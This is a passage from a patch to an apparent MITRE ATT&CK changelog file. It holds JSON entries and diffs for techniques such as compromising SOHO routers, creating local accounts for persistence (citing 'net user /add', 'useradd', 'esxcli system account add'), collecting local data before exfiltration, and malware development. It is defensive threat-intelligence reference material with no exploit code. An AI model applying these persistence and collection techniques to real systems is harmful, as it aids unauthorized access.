(SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.\\n+Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment, but rather to leverage these devices to support additional targeting.\\n \\n Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may compromise third-party network devices that t1Adversaries may compromise third-party network devices that 
>can be used during targeting. Network devices, such as small>can be used during targeting. Network devices, such as small
> office/home office (SOHO) routers, may be compromised where> office/home office (SOHO) routers, may be compromised where
> the adversary's ultimate goal is not [Initial Access](https> the adversary's ultimate goal is not [Initial Access](https
>://attack.mitre.org/tactics/TA0001) to that environment -- i>://attack.mitre.org/tactics/TA0001) to that environment, but
>nstead leveraging these devices to support additional target> rather to leverage these devices to support additional targ
>ing.  Once an adversary has control, compromised network dev>eting.  Once an adversary has control, compromised network d
>ices can be used to launch additional operations, such as ho>evices can be used to launch additional operations, such as 
>sting payloads for [Phishing](https://attack.mitre.org/techn>hosting payloads for [Phishing](https://attack.mitre.org/tec
>iques/T1566) campaigns (i.e., [Link Target](https://attack.m>hniques/T1566) campaigns (i.e., [Link Target](https://attack
>itre.org/techniques/T1608/005)) or enabling the required acc>.mitre.org/techniques/T1608/005)) or enabling the required a
>ess to execute [Content Injection](https://attack.mitre.org/>ccess to execute [Content Injection](https://attack.mitre.or
>techniques/T1659) operations. Adversaries may also be able t>g/techniques/T1659) operations. Adversaries may also be able
>o harvest reusable credentials (i.e., [Valid Accounts](https> to harvest reusable credentials (i.e., [Valid Accounts](htt
>://attack.mitre.org/techniques/T1078)) from compromised netw>ps://attack.mitre.org/techniques/T1078)) from compromised ne
>ork devices.  Adversaries often target Internet-facing edge >twork devices.  Adversaries often target Internet-facing edg
>devices and related network appliances that specifically do >e devices and related network appliances that specifically d
>not support robust host-based defenses.(Citation: Mandiant F>o not support robust host-based defenses.(Citation: Mandiant
>ortinet Zero Day)(Citation: Wired Russia Cyberwar)  Compromi> Fortinet Zero Day)(Citation: Wired Russia Cyberwar)  Compro
>sed network devices may be used to support subsequent [Comma>mised network devices may be used to support subsequent [Com
>nd and Control](https://attack.mitre.org/tactics/TA0011) act>mand and Control](https://attack.mitre.org/tactics/TA0011) a
>ivity, such as [Hide Infrastructure](https://attack.mitre.or>ctivity, such as [Hide Infrastructure](https://attack.mitre.
>g/techniques/T1665) through an established [Proxy](https://a>org/techniques/T1665) through an established [Proxy](https:/
>ttack.mitre.org/techniques/T1090) and/or [Botnet](https://at>/attack.mitre.org/techniques/T1090) and/or [Botnet](https://
>tack.mitre.org/techniques/T1584/005) network.(Citation: Just>attack.mitre.org/techniques/T1584/005) network.(Citation: Ju
>ice GRU 2024)>stice GRU 2024)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0859: Detection of Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-28 13:50:22.506000+00:00", + "modified": "2025-10-24 17:48:51.903000+00:00", + "name": "Local Account", + "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nAdversaries may also create new local accounts on network firewall management consoles \u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1136/001", + "external_id": "T1136.001" + }, + { + "source_name": "cisco_username_cmd", + "description": "Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630" + }, + { + "source_name": "Cyber Security News", + "description": "Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.", + "url": "https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/" + }, + { + "source_name": "Kubernetes Service Accounts Security", + "description": "Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.", + "url": "https://kubernetes.io/docs/concepts/security/service-accounts/" + }, + { + "source_name": "Microsoft User Creation Event", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices", + "Containers", + "ESXi" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.903000+00:00\", \"old_value\": \"2025-04-15 19:58:36.237000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nAdversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"old_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,6 @@\\n \\n For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n \\n+Adversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n+\\n Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Cyber Security News\", \"description\": \"Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.\", \"url\": \"https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/\"}}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may create a local account to maintain access tot1Adversaries may create a local account to maintain access to
> victim systems. Local accounts are those configured by an o> victim systems. Local accounts are those configured by an o
>rganization for use by users, remote support, services, or f>rganization for use by users, remote support, services, or f
>or administration on a single system or service.   For examp>or administration on a single system or service.   For examp
>le, with a sufficient level of access, the Windows <code>net>le, with a sufficient level of access, the Windows <code>net
> user /add</code> command can be used to create a local acco> user /add</code> command can be used to create a local acco
>unt.  In Linux, the `useradd` command can be used, while on >unt.  In Linux, the `useradd` command can be used, while on 
>macOS systems, the <code>dscl -create</code> command can be >macOS systems, the <code>dscl -create</code> command can be 
>used. Local accounts may also be added to network devices, o>used. Local accounts may also be added to network devices, o
>ften via common [Network Device CLI](https://attack.mitre.or>ften via common [Network Device CLI](https://attack.mitre.or
>g/techniques/T1059/008) commands such as <code>username</cod>g/techniques/T1059/008) commands such as <code>username</cod
>e>, to ESXi servers via `esxcli system account add`, or to K>e>, to ESXi servers via `esxcli system account add`, or to K
>ubernetes clusters using the `kubectl` utility.(Citation: ci>ubernetes clusters using the `kubectl` utility.(Citation: ci
>sco_username_cmd)(Citation: Kubernetes Service Accounts Secu>sco_username_cmd)(Citation: Kubernetes Service Accounts Secu
>rity)  Such accounts may be used to establish secondary cred>rity)  Adversaries may also create new local accounts on net
>entialed access that do not require persistent remote access>work firewall management consoles \u2013 for example, by exploiti
> tools to be deployed on the system.>ng a vulnerable firewall management system, threat actors ma
 >y be able to establish super-admin accounts that could be us
 >ed to modify firewall rules and gain further access to the n
 >etwork.(Citation: Cyber Security News)  Such accounts may be
 > used to establish secondary credentialed access that do not
 > require persistent remote access tools to be deployed on th
 >e system.
", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0447: T1136.001 Detection Strategy - Local Account Creation Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:20.537000+00:00", + "modified": "2025-10-24 17:48:40.839000+00:00", + "name": "Data from Local System", + "description": "Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1005", + "external_id": "T1005" + }, + { + "source_name": "show_run_config_cmd_cisco", + "description": "Cisco. (2022, August 16). show running-config - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733" + }, + { + "source_name": "Mandiant APT41 Global Intrusion ", + "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.", + "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "William Cain", + "Austin Clark, @c2defense", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Script: Script Execution\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.839000+00:00\", \"old_value\": \"2025-04-15 19:58:24.318000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.\\n\\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\\n\", \"old_value\": \"Adversaries may search local system sources, such as file systems, configuration files, local databases, or virtual machine files, to find files of interest and sensitive data prior to Exfiltration.\\n\\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may search local system sources, such as file systems, configuration files, local databases, or virtual machine files, to find files of interest and sensitive data prior to Exfiltration.\\n+Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.\\n \\n Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nFor network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-For network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.8\", \"old_value\": \"1.7\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][2]\": \"Liran Ravich, CardinalOps\"}}", + "previous_version": "1.7", + "version_change": "1.7 \u2192 1.8", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may search local system sources, such as file syt1Adversaries may search local system sources, such as file sy
>stems, configuration files, local databases, or virtual mach>stems, configuration files, local databases, virtual machine
>ine files, to find files of interest and sensitive data prio> files, or process memory, to find files of interest and sen
>r to Exfiltration.  Adversaries may do this using a [Command>sitive data prior to Exfiltration.  Adversaries may do this 
> and Scripting Interpreter](https://attack.mitre.org/techniq>using a [Command and Scripting Interpreter](https://attack.m
>ues/T1059), such as [cmd](https://attack.mitre.org/software/>itre.org/techniques/T1059), such as [cmd](https://attack.mit
>S0106) as well as a [Network Device CLI](https://attack.mitr>re.org/software/S0106) as well as a [Network Device CLI](htt
>e.org/techniques/T1059/008), which have functionality to int>ps://attack.mitre.org/techniques/T1059/008), which have func
>eract with the file system to gather information.(Citation: >tionality to interact with the file system to gather informa
>show_run_config_cmd_cisco) Adversaries may also use [Automat>tion.(Citation: show_run_config_cmd_cisco) Adversaries may a
>ed Collection](https://attack.mitre.org/techniques/T1119) on>lso use [Automated Collection](https://attack.mitre.org/tech
> the local system. >niques/T1119) on the local system. 
", + "changelog_mitigations": { + "shared": [ + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0380: Detection of Local Data Collection Prior to Exfiltration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:33:01.433000+00:00", + "modified": "2025-10-24 17:48:30.776000+00:00", + "name": "Malware", + "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nDuring malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.(Citation: Olympic Destroyer)(Citation: Risky Bulletin Threat actor impersonates FSB APT)(Citation: GamaCopy organization)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1587/001", + "external_id": "T1587.001" + }, + { + "source_name": "Risky Bulletin Threat actor impersonates FSB APT", + "description": "Catalin Cimpanu. (2025, January 22). Risky Bulletin: Threat actor impersonates FSB APT for months to target Russian orgs. Retrieved June 14, 2025.", + "url": "https://news.risky.biz/risky-bulletin-threat-actor-impersonates-fsb-apt-for-months-to-target-russian-orgs/" + }, + { + "source_name": "ActiveMalwareEnergy", + "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.", + "url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/" + }, + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.", + "url": "https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "GamaCopy organization", + "description": "Knownsec 404 Advanced Threat Intelligence team. (2025, January 21). Love and hate under war: The GamaCopy organization, which imitates the Russian Gamaredon, uses military \u2014 related bait to launch attacks on Russia. Retrieved June 14, 2025.", + "url": "https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Olympic Destroyer", + "description": "Paul Rascagneres, Martin Lee. (2018, February 26). Who Wasn\u2019t Responsible for Olympic Destroyer?. Retrieved June 14, 2025.", + "url": "https://blog.talosintelligence.com/who-wasnt-responsible-for-olympic/" + }, + { + "source_name": "FBI Flash FIN7 USB", + "description": "The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.", + "url": "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Content\", \"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:30.776000+00:00\", \"old_value\": \"2025-04-15 22:47:44.654000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\\n\\nDuring malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.(Citation: Olympic Destroyer)(Citation: Risky Bulletin Threat actor impersonates FSB APT)(Citation: GamaCopy organization)\\n\\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\\n\\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)\", \"old_value\": \"Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\\n\\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\\n\\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,6 @@\\n Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\\n+\\n+During malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.(Citation: Olympic Destroyer)(Citation: Risky Bulletin Threat actor impersonates FSB APT)(Citation: GamaCopy organization)\\n \\n As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Risky Bulletin Threat actor impersonates FSB APT\", \"description\": \"Catalin Cimpanu. 